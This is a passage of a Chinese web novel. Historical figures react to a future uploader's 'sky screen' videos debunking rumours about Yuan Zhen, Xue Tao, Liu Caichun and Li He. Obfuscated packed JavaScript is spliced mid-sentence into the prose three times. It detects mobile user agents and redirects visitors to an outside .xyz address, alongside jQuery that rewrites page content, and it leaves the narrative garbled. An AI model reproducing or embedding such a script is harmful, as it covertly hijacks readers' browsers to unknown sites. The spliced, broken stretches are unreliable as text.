薛涛怔愣一瞬,只是淡笑,也不把这些事放在眼里。 命里有时终须有。现在的她,还是暂且忍耐,从松州回了成都再想其他。 【关于薛涛的校书郎,有两种说法。一种是韦皋曾经上表薛涛为校书郎被驳回,一种是韦皋因为畏惧人言,最终没有对中央提出申请,是武元衡上表聘薛涛为校书郎。 明代何宇度《益部谈资》中曾提到薛涛之墓。 “墓在江干,碑题《唐女校书薛弘度墓》。” 祁和晖先生据此认为称薛涛为女校书乃实称,非虚美,即墓碑上的“女校书”是因为薛涛曾为校书郎。 祁和晖先生还认为,中唐“校书郎”已不只是朝廷设置,各大节镇府皆可设置。武元衡作为剑南道军区大总司令应该有自行聘用人才的权力,向中央上的表应该是告知而不是申请。 明状元杨慎《丹铅总录》卷二十一《女状元》中也说:“女侍中,魏元义妻也;女学士,孔贵嫔也;女校书,唐薛涛也;女进士,宋女郎林妙玉也;女状元,蜀黄崇嘏也。”他称“官衔”均有其依据,并非凭空捏造,可以用来佐证薛涛确实实封校书郎。 这里再略提一句南宋的进士林妙玉,当然人家真名可能是《宋会要辑稿》中记载的“林幼玉”。 她精通科举全部43种经义,12岁在全国每年只选2-3人的童子试中一举中第,封诰命。当时的名士喻良能称赞她“双鬟会作女博士”,放在现在妥妥的少年班好苗子。 一身才能如同天授,更有闯进科举的勇气,真是厉害。】 薛涛虽不认为现在的剑南节度使,那个专会搜罗蜀地物产美人的高崇文会为了名声将自己召回,却也觉得有了这可能的官身,她能在边塞再过的好一些。 尤其是未来的她会成为剑南节度使重要的辅佐官,受赏识到节度使宁可顶着压力,也要与她官位。 未来啊…… 武公德才兼备,未来的蜀地必也不会像现在一般。 那时民间应该会从怨声载道变得清平和乐了吧? 而今再回想起孙氏女拒绝她的教授,李清照心中仍是一痛。 她过了一段流离的岁月以后,凭才华得了朝廷的诰命,日子也算能过得下去。可叹那不知在何处的林幼玉明白才华诰命傍身能过得更安稳,孙姑娘却先推开了名师教导的机会。 孙姑娘那句话,“才藻非女子事也”,更是往李清照心中扎了一根刺,血肉淋漓。 李清照很想收林幼玉为徒。 如果现在找不到她,那就努力多活几年。 “南宋”一词如同惊雷,炸在所有北宋皇帝耳畔。 皇帝们大惊失色,其中以赵匡胤为甚。他瞪着血红的眼睛盯住天幕。 “这南宋,一定要是因为宋南辽北才叫出的名字啊……” 可无论如何,燕云十六州只怕是回不来了。 【最后我们总结介绍一下薛涛。 薛涛,字洪度,唐代文学家,被誉为“唐代女流文人之首”。 薛涛籍贯不详,疑为长安。父薛勋为蜀地官,她随父入蜀,父亲去世后入乐籍,为剑南节度使麾下乐伎,先后受剑南节度使韦皋和武元衡赏识,参与剑南道政事。 薛涛才高,曾被上表请授校书郎,也曾制造一种新型纸,名为“薛涛笺”。晚年薛涛脱乐籍,隐居浣花溪畔,以制纸业谋生。 薛涛诗歌被陆时雍评价“气色清老”①,我们这里放一首她的诗歌《送友人》感受一下: 水国蒹葭夜有霜,月寒山色共苍苍。 谁言千里自今夕,离梦杳如关塞长。 请别嫌up啰嗦,up只是想打破现在“谈薛涛必谈元稹,甚至只谈元稹”的风气,让大家认识一下薛洪度到底是一个怎样的人。】 成都有文人捂住了自己的脑袋。 洪度才华如此,她成为校书郎,真的值得他妒忌吗? 若不是身为女郎,她也不用沦落乐籍才能供养母亲,她可以去考科举,或许还可以出将入相。 就像…… 他悲哀地又想到了元稹。 都是少年穷困,才高八斗,只因是为性别,他们的人生就在岔路口分离。 越东的女子捏紧手帕。 “神仙讲完了吗?下一个就是刘姑娘了……” 【第四个部分:元稹纳刘采春为妾,这个部分是up整理的最痛苦的一部分。 网上搜刘采春,搜出来都是元稹。 知网上搜刘采春,论文没几篇,几乎篇篇标题里都有元稹。 up去看了那些论文,发现这些论文中对于未实锤的元刘绯闻,大部分采取不加思辨直接引用的模式。小部分论文直接援引唐朝记载元刘绯闻的孤例《云溪友议》,抛弃了孤立不证的原则。 没错,又是《云溪友议》。这本书的史料价值我们上一节刚刚讲过,相信大家也明白其中荒谬。】 范摅看着天幕又冒出大段文字,那赫然是他《云溪友议》中的部分。 “方拟驰使往蜀取涛,乃有排优周季南、季崇及妻刘采春,自淮甸而来。善弄陆参军,歌声彻云,篇韵虽不及涛,容华莫之比也。元公似忘薛涛,而赠采春诗曰:‘新妆巧样画双蛾,谩裹常州透额罗。正面偷匀光滑笏,缓行轻踏破纹波。言辞雅措风流足,举止低回秀媚多。更有恼人肠断处,选词能唱望夫歌。’ …… 采春一唱是曲,闺妇行人莫不涟泣,且以藁砧尚在,不可夺焉。元公求在浙河七年,因醉题东武亭。诗曰:‘役役闲人事,纷纷碎簿书。功夫两衙尽,留滞七年余。病痛梅天发,亲情海岸疏。因循未归得,不是恋鲈鱼。’卢侍御简求戏曰:‘丞相虽不恋鲈鱼,乃恋谁耶?’” 范摅放下酒杯,杯中酒荡起波澜。他对友人苦笑着:“我虽然只是道听途说,但尚且在文里写了因为刘采春有家室,元稹没办法娶她。怎么传到后人那里就成了元稹纳刘采春为妾了?” 友人倒酒,醉眼迷蒙。 “云溪子要大改他的《云溪友议》,去考证的不如加我一个?” 【以上是《云溪友议》的原文,主要讲了刘采春善歌有才,元稹因此忘记薛涛,并为了刘采春在浙地停留了七年。 原文中第一句就点名刘采春已经嫁人,元稹纳刘采春的谣言不攻自破。所谓写给元稹的《望夫歌》,可能也是刘采春写给丈夫周季南的,或是刘采春代盼望丈夫归家的吴越商妇而作。 但是范摅显然注意到了这一点,打了补丁。 文中“藁砧”是丈夫的隐语,范摅说刘采春有丈夫元稹才放弃纳她。那元刘真的有私情吗? 我们来结合元稹当时官场处境解析一下状况。】 “是呐,刘姑娘是为了我们写的诗!”妇人对着天幕大喊,“当家的在外面一漂几个月,我们想他的时候只能看长江上的船来来去去。那个范摅哪里懂我们的辛苦?” 李岚姑收回抚琴的手,杏眸望向远处水天相接的地方,那里有一点白白的影子,似云又似船。 “刘姑娘和丈夫都是乐人,常在一处。那些歌儿,是姑娘比照着我们的处境写的啊!士大夫们能写香草美人的佳话,怎么到了姑娘这里,帮我们说一点点话都要被扭曲成这样?” 自从天幕提到了她,刘采春就匆匆停了排练。此刻的她正与丈夫周季南、女儿周德华有些紧张地看天幕。 她自然知道自己和元公光明磊落,可身边人怎么想不是她能左右的。 丈夫脸上还带着一丝参军戏练久了留下的戏谑表情,女儿的小脸上倒是严肃到有些生气。 天幕都说了是辟谣,一切最终都会是好的吧? 【我们从“忘薛涛”、“写情歌”和“元稹在浙地七年是为了刘采春”三个点来驳斥。 第一,忘薛涛。元薛谣言我们刚刚讲过,这点错误不再赘述。 第二,写情歌。元稹给刘采春写的《赠刘采春》,就是《云溪友议》选段里的第一首诗,不见于元稹自编的诗歌总集《元氏长庆集》,疑为伪作。 其实《寄赠薛涛》也不见于《元氏长庆集》,《寄旧诗与元微之》不见于薛涛本人的《锦江集》,同样可能是伪作。 就算把这首诗算作元稹的,诗中也没有什么超越官员对歌伎欣赏的感情。】 不是说要结合官场辟谣吗?官场在何处? 此时着急的不止唐朝诸位皇帝,还有元稹任浙东观察使、越州刺史时的李逢吉。 他陷害元稹谋刺裴度,把二人排挤出京后终于登上了他梦寐以求的宰相宝座。之后他不断阻断着元稹的消息到达中央,以免皇帝想起来还有这个人。 这天幕究竟会怎么说他…… 天幕出现后,他就知道了元稹一定会被圣人看到,所有的区别无非是他将以什么样的姿态进入中央。 但元稹回朝是一回事,他自己的前途又是另一回事。 他想过辞官避祸,可…… 那是万人之上的宰相之位啊…… 【第三,元稹为了刘采春留浙七年。 我们首先看选文中第二首诗,这首诗表达了元稹在浙虽然病痛缠身、远离亲人,但他还是得待在这里。全诗和刘采春并无关系,只是与前文刘采春的事接在一起,起到了误解的效果。 有点类似我们现在的误解向剪辑,范摅还挺先进。 那元稹又有什么理由,必须要这么痛苦地在浙东留这么多年呢? 因为黑暗的政治。 元稹被李逢吉诬陷谋杀裴度以后被罢相,先外贬为同州刺史。他在同州为百姓减去不合理负担,“均田贫富”,从而得罪豪富,移任浙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988078|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东。 从同州到浙东,元稹一直期待朝廷能够给他洗去冤屈、重新回中央的机会。但唐敬宗继位后,元稹的政敌李逢吉和牛僧儒加官进爵,好友李绅、庞严、蒋防等均被贬,政治风向不利于元稹回朝洗冤,他自然只能蜗居浙东。 就连唐敬宗大赦天下的时候,李逢吉也玩弄权术,通过诏书里的文字游戏阻止李绅等人通过大赦时的工作调动回朝,可见其势力之大。② 元稹的处境可想而知。 所以这首诗中元稹真正的留浙原因,应该是仕途被压抑,而非刘采春。 至于最后卢简求的调侃……可能大家对唐朝人的开玩笑尺度有点误解,我给大家放一下元稹的《酬乐天劝醉(节选)》。 美人醉灯下,左右流横波。 王孙醉床上,颠倒眠绮罗。 君今劝我醉,劝醉意如何? 看起来很gay吧?但实际上这首诗是元稹为了疏解白居易对自己陷于黑暗官场的担心而故意调侃。 所以卢简求的调侃应该也属于这一类,是为了宽政治失意的元稹之心。】 刘采春长舒一口气。她一直担心的事应该不会再出现,毕竟天幕就差指着《云溪友议》说里面的都是胡编乱造了。 经了这次,她也算是天下闻名的歌伎了,不知接下来又会是谁邀约她去何处唱曲呢? 白居易努力忽视旁边又开始拿奇怪眼神盯着他的宦官,却因为目光实在过于灼灼无法忽视,略恼怒道:“方才不是才同你解释过,微之有爱妻,我有爱人,我们没有那种关系!” “哦,好的,白校书。”宦官依旧我行我素,“我们快进宫了,做好准备见圣人吧。” 白居易无奈低头。 唐敬宗李湛在天幕降临时就摆好了大宴。 有神迹降临,所以今天不宜击鞠,宜大摆宴席,大宴群臣。 哟,上朝,为什么要上朝?他文武大圣广孝皇帝即位以来才上过几次朝啊? 上朝又没玩乐开心。 李湛就一边喝酒,一边听天幕,高高翘着脚,没半点天子像。 他得意想着,幸亏他身边的大臣都是被他好好筛选过的,不然有人跑来死谏,他还怎么好好玩!多晦气啊! 李逢吉陷害?那和他有什么关系?他只知道郑国公从来不会劝自己上朝批折子,他过得快乐得很! 他又往喉咙里灌了一口酒,醉倒过去。假太监刘克明来扶圣人,惊见圣人口中源源不断涌出酒水,颤抖着往鼻息一探。 将李湛扶进内室,刘克明面沉如水,迅速纠集党羽伪造绛王继位的圣旨。 天幕初临之日,唐敬宗李湛驾崩,崩于饮酒过多导致的急性酒精中毒。 【最后我们也来总结一下刘采春的生平。 刘采春,唐代女诗人。籍贯不详,一作淮甸,一作越州。刘采春擅长唱歌,与擅长参军戏丈夫周季南组成戏班四处走穴,受浙东观察使元稹看重。生女周德华,湖州歌伎,擅长唱柳枝词。 刘采春有《啰唝歌六首》传世,这里仅放一首: 不喜秦淮水,生憎江上船。 载儿夫婿去,经岁又经年。 语言简练,真实生动,直抒胸臆,表意丰富。】 “幺娘可记下了?”越东妇人们凑到擅长作文章的蒋幺娘身边,看她在纸上记着自己或懂或不懂的鬼画符,心中急切又欣慰。 天幕讲完了,可她们的生活还在继续。她们不想让刘姑娘的诗歌失传,生命被不知道什么东西一抹而空,密密麻麻全部填上“元稹”二字。 元公确实政绩出色,但这事本来就是子虚乌有啊! “好呀,幺娘记完了!”妇人笑道,“我们自己出刘姑娘的诗集吧?刘姑娘的歌本来就不止六首,这几千年不知道失传了多少。” “还要把刘姑娘的一生写进去,我活不过刘姑娘就让我囡囡接着记!” 【然后我们顺手清理一下小谣言。 元稹和鱼玄机,元稹53岁去世时鱼玄机还有13年才出生,元稹又不恋卵子。 元稹和小迎,小迎是元稹女儿。 元稹和白居易……怎么有个乱入的?叉出去。 up算是看出来了,只要是个女的,都能和元稹传谣言。 谢谢大家,我们这一节的辟谣就到这里结束了,敬请关注之后的“元稹人品论”。 看在up这么认真做视频,一键三连了解一下~】 最后一句非常生硬。 但这也不是李纯所在乎的。 他看着面前的白居易,一边给派去的宦官记了一笔,一边思考根据唐朝“不历州县,不拟台省”的升职原则,要怎么为白居易规划未来的官职路线。 听完白居易的对时政的看法后,李纯略微有了想法。随后,他循着宦官带来的信息,一面派太医去韦家,一面派人接元稹与其母至长安。 听天幕的描述,元稹极擅治理地方,为百姓而不是为豪族谋福。在政斗方面,有一定能力但会被小人陷害。 至于李逢吉,像个精于政斗的小人。天幕说未来会讲解谋刺裴度一事,他便等着看看这到底是个怎样的人。 8. 间章 将事情都安排下去后,李纯揉揉额角,尝试点了下手腕。 那天幕消失时化成流光没入他手腕的青筋,而面前的白居易作为天幕口中的关键角色居然毫无异动。这使李纯更相信是自己受命于天,天幕是来帮助自己兴利除弊的。 毕竟这神迹只有自己这位天子才能进一步接触。 他触碰手腕,手腕飘出光点,组成一个小天幕。可是越谨慎阅览天幕下面的文字,他越对自己天命之子的身份感到怀疑。 “元稹,一款人类谣言史上不可逾越的高峰。建议以后人文学科研究谣言传播直接去研究元稹 [狗头]” 这是指引他肃清朝堂,使耳目不被蒙蔽? “革命尚未成功,同志还需努力。所以大大我能不能引用转载研究资料?” 这是要求他夙兴夜寐,为发展文治努力? “谢谢除夕大大为元九辟谣 [哭] 我们九推坚持了这么多年,现在辟谣的终于越来越多了[泪眼] [泪眼]” 这条下面还跟着几条或许是在怀古伤今的留言,诸如“年年辟谣年年白干”、“现在元九也是好起来了”之类。 以及“这些都已经是吴伟斌老师他们上个世纪就提出的观点啊,这么多年才被看到”。 这……神仙不能言出法随?还是后人都不信神仙的话了? 哦,其实他自己应该也不信,不然也不会囚父篡位了。 李纯一个人在殿中踱步沉思,一个猜测在他脑中逐渐成型。 或许仙人其实存在,但那个“up”并不是仙人,天幕的存在只是仙人借她的口舌对大唐进行指点。 “up”只是一个在未来努力辟谣的普通人,可天幕这跨越时间的神通,必定属于一位伟大的神仙。 难道是他们李唐的祖宗,老子李耳,痛惜安史乱后千疮百孔的大唐,才把后人的指点牵引到今日的天上? 已经完全忘了“up”其实叫除夕的李纯心潮澎湃,只觉得自己必然会是那个再造大唐的明君,才得了始祖的看重。 什么?老子李耳是他们李唐为了找个有名的始祖特意认的祖先?没必要这么认真。 看到小天幕上还有一个方方的小框,李纯尝试着一点,小框变成一个可以写字的屏幕。 于是他看到了和在视频下面讨论的后人相似的界面,他压抑着狂喜向后人写下质询的话语。 为了不犯在讨论区被提到的ky之错,他还认真编辑了问题,等待着后人为他透露未来发展的轨迹。 过了一会儿,李纯又打开小天幕,翻到了自己的问题。那个大意为“元和年间的皇帝是个怎么样的皇帝?他对元稹怎么样?”的问题下已经累积了一些回复。 他控制住上扬的嘴角,开始翻看。 “立春?一贬再贬,差点害元稹生病死了。” 这种回答李纯有心理准备,毕竟天幕也说了,元稹经常被贬。 不过没能好好用这么一个能力突出的人真是遗憾。 还有,那个“立春”又是什么?因为他叫李纯?这是后人给他起的昵称吗? “支持北魏禾真帝登基,迎娶白皇后!支持汉桃花帝登基,迎娶柳皇后!” 大逆不道!李纯睁大双眼,这群后人竟敢这么说,难道他未来带着大唐走了歧路,就像玄宗皇帝? 可明明他一直翻阅贞观、开元的史书,力求复兴大唐! 而且他以后怎么可能比不上元稹和白居易!他可是堂堂大唐皇帝! 那汉桃花帝和柳皇后又是何人?叛军吗? “李纯?早年干得不错,一手烂牌打出来元和中兴,但晚年因为吃丹药吃太多死在陈弘志、王守澄等宦官手里了。 当年元稹在敷水驿被宦官无故鞭打,李纯站边宦官连贬元白,现在他自己也死在宦官手里了 [吃瓜] 最后王守澄还当上了四朝权宦 [吃瓜] ” 宦官……宦官! 这群阉奴竟敢弑君! 他念及他们从龙之功,给他们信任给他们官位,他们就是这么报答他的? 李纯真想拔剑大挥大砍,砍死陈弘志,砍死王守澄,砍死那群胆敢谋杀天子的宦官! 可他只能压着头上的青筋暂且忍耐。 拥立他的宦官中,刘贞亮累迁右卫大将军,知内侍省事; 刘光琦正任枢密使; 吐突承璀正任神策中卫。 只是这几个,手中就都有兵权,再加上永贞革新对宦官操之过急的打击,现在的宦官只怕也握着兵权防着皇帝,还是要缓缓图之。 既然被阉奴背叛会是他的未来…… “来人,令中书省拟旨校书郎元稹、校书郎白居易为翰林学士。” 翰林学士掌制诏,工作地翰林学士院近皇帝寝殿,利于随时征召,参与政事决策。 这位置要求文才高、有见地,元白都是天幕向大家挑明了的贤才,从校书郎到翰林学士也不是什么了不得的晋升,却是大家都能辨认出的天子心腹。 这样对外有了交代,对内也便于李纯对他们问策,问如何裁抑藩镇,如何收权宦官。 就让他们在这个位置发挥自己的才能吧。 一边恨背主奴才,一边自得于元和中兴的皇帝想。 —— 现代 第二天下午,陈钰一边试图说服自己作为新号如果没有浏览量也没关系,一边小心地打开C站。 应该没有几个人会去看新人的大长视频……啊? 陈钰看着右上角小信箱的99+,宕机了。 什么情况?自己被网暴了? 这个奇怪的99+让陈钰想起自己帮古人辟谣的过去。她辛辛苦苦列了一大堆证据,最后落到有些人嘴里,帮女人就是打拳,帮男人就是梦女。 总有一些网络流氓从来不管真相,只管自己的输赢。 这次……又会是怎么样呢? 陈钰紧盯着屏幕,慢慢把鼠标挪到信箱,点开。 她脸上的紧张慢慢变成了无语。 陈钰打开视频。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988079|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不管那六百多条评论,她敲打键盘,置顶了自己的评论。 “请不要在评论区ky!” —— 这件事要从刘彻讲起。 作为第一个发现和尝试评论功能的人,他谨慎点开“天机”,好奇询问了自己的未来。 一看到后人的回复,后来的汉世宗孝武皇帝瞬间打着飞旋去找起了他的大司马大将军和大司马骠骑将军,置后人“不要ky”的告诫于不顾。 之后每个发现评论的皇帝都这么干了一次。有实权或有野心的皇帝开始找人才和规避未来灾祸,一辈子当傀儡的就只能伤悲复伤悲。 只能说幸好陈钰不是什么大up主,当时视频也没火。评论区里的网友们对这么多无关视频内容的问题还有点回答,没有太多人直接大骂ky怪。 但剔除皇帝中的日本留学生溥仪,中国也只有493位皇帝,又有天幕规定每人只能提一个问题,皇帝们看不到彼此的评论,无法交流。 而视频的评论却飙升到700多,变成了新人up主的神话。 这究竟是为什么? 因为诸天万朝的浏览和皇帝们的评论,视频被推送给更多人,慢慢的大家都来围观这场热闹程度堪比皇帝登基的ky大典了。 视频彻底火了,但火的方式过于特别。点进视频的人先悠哉悠哉翻几页评论区,对C站罕见的大型ky现场指点山河几句,才要么打发时间看看视频,要么退出,要么干脆加入视频下方的ky大军。 是的,现在的ky种类繁多,明星动漫汽车等等应有尽有,呈现出一种勃勃生机万物竞发的荒谬感。 ky的人甚至统一用起了电视人头像和“新晋用户”网名。 自然,因为在评论区里ky的都是顶着电视人头像的新晋用户,有人在评论区怀疑这是不是up主刚开的小号,整件事是up主为了博取眼球特意ky。 这引发了他与认为以up主视频的考据程度根本不需要引流的观众的战争。 另外不可或缺的,就是持反对意见又举不出证据的网友。只有寥寥几位网友引用了尹占华、周相录等相关领域内大师对吴伟斌先生“《莺莺传》非元稹自寓系列论文”的反对论文,又被“此事可疑,宜采取疑罪从无论”的网友反对。 大吵、小吵几乎没有停歇。 评论区的现场还养活了一些小视频,它们录屏并评论了陈钰视频的评论区现状,运气到了的视频也小火了一把。 同样是有褒有贬各有千秋。 所以陈钰又木着脸敲下了“up没有注册小号、没有找水军,希望大家可以先看完视频再评论元稹到底渣不渣”。 她决定先让大家看到自己这个评论,晚上再关闭评论区。 但私心里,她为的不仅仅是让大家看到自己的置顶评论。 “老天啊,”陈钰喃喃道,“让更多人看到这个视频吧……这样就能有更多人知道失落在历史里的真相了……” 哪怕现在的流量,是网友吵出来的。 9. 元稹(7) 几天后,陈钰在图书馆里伸了个懒腰。 她手边的报刊被泛黄的书压着,好险没被气流掀起。 最后几下键盘刚刚敲完,陈钰喝了口水,点击发送视频。 进度条走向终点。 —— 元和元年是特别的,这是天幕出现在世间的第一年。 对郑兰芝而言,这一年更加奇妙。 她先从神迹上听说了自己的小儿子以后会被汹涌的恶意钉上“渣男”、“小人”的耻辱柱,又平静接受了自己会在今年去世的命运。 微之错估了圣人对天幕的看重。在他带着医者气喘吁吁跑到家里时,圣人的使者已经来到了元家。 她接待了这意料之中的来使,宠辱不惊,令来使的称赞更真心实意了些。 当郑兰芝将随着微之和使者上马车去长安时,家中仆人哭着磕头想随她去,只怕这一别就成了天人之隔。 她也只能无奈。 仆人年老体弱,她在路上能得到妥善的安置,他们却未必。所以她只是将元稹带回来的、只能称作布匹的破旧衣服给他们当补丁用,然后嘱咐他们照顾家宅,不要落灰。 “夫人真是仁厚。”马车上的使者叹道。 她答:“都是老人了。我如果不照顾着他们点,他们又要怎么谋生呢?” 到长安后,她见了亲家。对于韦夏卿那满屋的书,她只求在过世前能看完一半。 段荷惊讶地同韦夏卿和元稹聊起了郑兰芝对书籍的痴狂。对此,元稹不无骄傲地抬头:“母亲能用四五年教出三哥和我两个明经及第,她可是个大才女!” 韦夏卿也笑了。作为一个藏书家,他十分看重珍视古籍的人。 而后,郑兰芝在家遇上了来取材的白行简。他说他要把元稹的少年时代记下来,这样就不会有《莺莺传》自寓这样的谣言了。 郑兰芝淡定取出来一沓文稿。 这文稿先被韦丛抢去,她看着文稿笑,引得白行简也想看。可他走过去一点韦丛就退后一点,不给他半点机会。 “嫂子!那是姨母给我的!” 郑兰芝看着他们笑,突然想起来儿子还在旁边,她问:“微之,不去看看?” “我以前的事有什么好看的?我自己都知道。” 好吧……郑兰芝抿了口茶,掩去窃笑。 “微之,你三岁还要抱着旧衣服才睡得着啊?” “茂之!我没有!” 于是当天晚上元稹才知道母亲究竟做了什么。第二天他早早起床,跑到白家去了。 守了一辈子礼,临死了促狭一下也是可以的吧? 郑兰芝相信儿子的朋友不至于把这种事都写进传记里的。 上次天幕出现后一个月,天上的云又聚拢了。 人们看着天上的云自己发光,依然是该做什么就做什么。只有小婴儿对着那些发光的云咯咯笑。 虽然得到了名医的尽力救治,韦夏卿还是在元和元年二月撒手人寰。 韦丛和元稹披着丧服,在灵堂朝哭夕哭,郑兰芝也来帮助段荷主持丧仪。 外面的天先暗后亮,他们犹疑着出了灵堂,听到了天幕的声音。 【大家好啊,我是来辟谣的up主除夕,今天我们就来聊聊元稹排挤李贺、排挤张祜、刺杀裴度、勾结宦官的谣言。 对于元稹那些乱七八糟所谓情史的辟谣,大家可以移步up的上个视频哦~】 天幕……不知道现在发生了什么? 元稹不是天幕钟爱之人吗?为什么他的岳父刚过世,天幕的声音还这么戏谑? 一些人皱起了眉头,开始重新评估天幕。 只是天之常数不因人间之事而转变分毫,天幕依旧在说话,用着它那相当轻浮——至少对于现在元稹的处境而言——的语气。 【我们先来讲讲排挤李贺。 元稹排挤李贺的传言来自于唐朝的《剧谈录》,是一个和元稹与鱼玄机的绯闻一样一戳即破的谣言。 毕竟一个是谣言要求元稹喜欢上自己去世第十三年才出生的鱼玄机,一个是谣言要求李贺三岁考公。】 李贺抬头看天幕,皱起了眉。 天幕的“公”想必是指公家,考公就是后人考科举了。 他虽然自负于自己的才华,可三岁考科举这事…… 他并没有参加过朝廷的童子试,就是参加了,3岁的他也不会比得过那些12岁的孩子。 北宋的太平宰相晏殊听闻这三岁进士的奇言,哑然失笑。 他是14岁成为进士的神童,可当时当太子伴读时,身边另有一座大山——4岁的进士蔡伯俙。 要说才华方面,晏殊不认为蔡伯俙就高自己一等。蔡伯俙当年在童子试里被赐同进士出身,除了他在4岁孩子里确实算有才的以外,更是因为他一路过关斩将,靠的是背先帝的御诗! 也不知是谁出的主意,4岁的孩子就这么会迎合圣意,真是…… 晏殊神色微冷。 真是奴颜卑膝,他不齿也。 【《剧谈录》中说元稹明经及第后想结识“善为歌篇”的李贺,被李贺拒绝后怀恨在心。 之后元稹就在当礼部郎中时提出“因为李贺父亲名字带缙,与进士的进同音,所以李贺不能考进士”这一毁了李贺一生的重要论断。 可这样问题就来了。 根据《剧谈录》,元稹是在贞元九年明经即第后去见声名在外的李贺的,而李贺当年……三岁。 好的,OK,李贺三岁诗名在外,住在河南的家乡吸引了当时在长安的元稹。 而且元稹还把这个三岁小孩看不起考明经的随口一句话记了二十多年,数次被贬忍辱负重终于大仇得报。 ……如果这就是《剧谈录》作者自己的心胸,那这个逻辑问题可以当我没说。】 “《剧谈录》的作者竟对贺如此有信心,认为贺三岁就能名动天下。” 李贺牵扯嘴唇,笑容讥诮。 他七岁时援笔作书,为前来造访的韩愈、皇甫湜作《高轩过》一诗,这才声名远播。或许因为扬名才好救家贫,或许是他天生奇才,这事可被他记得清清楚楚。 他要扬名,可惜他不是为了扬名什么都不顾的人,现在的他对《剧谈录》借他的名字踩元稹名声这事,怒、不、可、遏。 君子立于世,怎么能靠这些蝇营狗苟去争胜呢? 未来因为避讳不得考进士使他迷茫,可现在的他毕竟没有经历过这等事情,而且他也相信大唐皇室,看到这个漏洞必然会补。 他提笔,写诗,身后的小童匆忙捡起他的诗句,塞进锦囊。 他是幸运的,但那些与他相似的不幸之人,难道不值得一首诗吗? 开了科举取士的皇帝们纷纷为科举的规定加了一条“不得以避讳拒绝取士”。 科举从隋朝开始,日渐完善条律众多,可谁知官员竟然会因为一个避讳,白白流失人才。 现在天幕提了李贺,可谁知道在他们看不见的地方,会有多少个李贺? 【元稹也没当过礼部郎中。 礼部下辖四司:礼部司、膳部司、祠部司和主客司,四司各有郎中。元稹担任过祠部郎中,掌管祭祀和天文,职权中不包括科举。 元稹唯一一次插手科举是在长庆元年,因为科举不公平上表请求重开科举,因此与裴度和一些牛党要员结怨。 而长庆元年,元稹任祠部郎中并要求科举复核时,李贺已经去世5年。 元稹根本没有能力影响李贺的科举。】 唐敬宗李湛猝死后,刘克明伪造圣旨密令绛王李悟入宫继承皇位,之后王守澄兵变拥立江王李昂,直入宫城。刘克明见大势已去,投井自杀。 李昂即位,大赦天下。 李昂即位初,连召元白等被天幕点名的贤臣进京供职,裴度兵变有功,加授门下侍郎、集贤殿大学士、太清宫使。 李逢吉陷害元稹谋刺裴度一事东窗事发,又因为武昭冤狱之事再度被掀起,纵有王守澄等人相护,依然被剥夺官勋成为平民。 这种处理并不是很让裴度满意,但这已经是天幕影响和他争取过的结果了。 裴度是陷害一事的受害者,因此被拖下宰相之位,武昭案也是李逢吉当年为阻止裴度进京受重用而炮制。 按大唐律法,诬陷者与被其诬陷者当年的处理方式同罪,他和元稹当年共同被贬,今日李逢吉也该被贬出长安。 而炮制冤狱,是枉法罪,可能被判处流放、徒刑甚至死刑。 李逢吉却因为多年来在朝堂盘根错节的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988080|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,只是成为平民,依然派人不断往朝廷运作。 裴度想想自己和李逢吉的恩怨,再想想和元稹的恩怨,只觉得当年这科举案的怨恨,光看后果不过尔尔,不如当年穆宗私自提拔元稹侵犯宰相对官员任命的审核权力来的严重。 只不过是自己的儿子在复核后被刷下来了而已,但后来不是又被穆宗恩准特赐进士出身了吗? 科举案的梁子主要还是结在元稹对朝廷官员私心揭露的毫不留情。 思考间,裴度突然听到天上传来了鬼气森森的缥渺之音。 【最后我们来介绍一下李贺。 李贺,字长吉,中唐文学家。他少年贫苦多病,有捷才,被唐宋八大家之一的韩愈所赏识。 但因为避讳一事被大做文章,李贺无法考进士。韩愈曾经为此事与众人辩驳,引经据典、条分缕析也没能让官员让步。于是李贺最终由父荫成为九品奉礼郎,困居长安无法伸展抱负,辞官成为昭义节度使幕僚。 昭义节度使郗士美平叛无果,回洛阳修养。李贺最终无路可走,回到故乡昌谷,整理诗作,不久重病抑郁而死,年仅27。 李贺诗歌大多迷离怪诞,诗风诡谲。清朝姚文燮则评价他的诗歌“深刺当世之弊,切中当世之隐”。 他的《雁门太守行》被选入义务教育初中教材,《李凭箜篌引》被选入高中必修教材。我们现在的背景音乐就是他所写的《苦昼短》。 我们最后来放一首他的《秋来》: 桐风惊心壮士苦,衰灯络纬啼寒素。 谁看青简一编书,不遣花虫粉空蠹。 思牵今夜肠应直,雨冷香魂吊书客。 秋坟鬼唱鲍家诗,恨血千年土中碧。】 这就是他未来写的诗吗?李贺侧耳听去,在那歌中见到时间占满了世界,翩翩起舞。 太一、烛龙、汉武、秦皇。 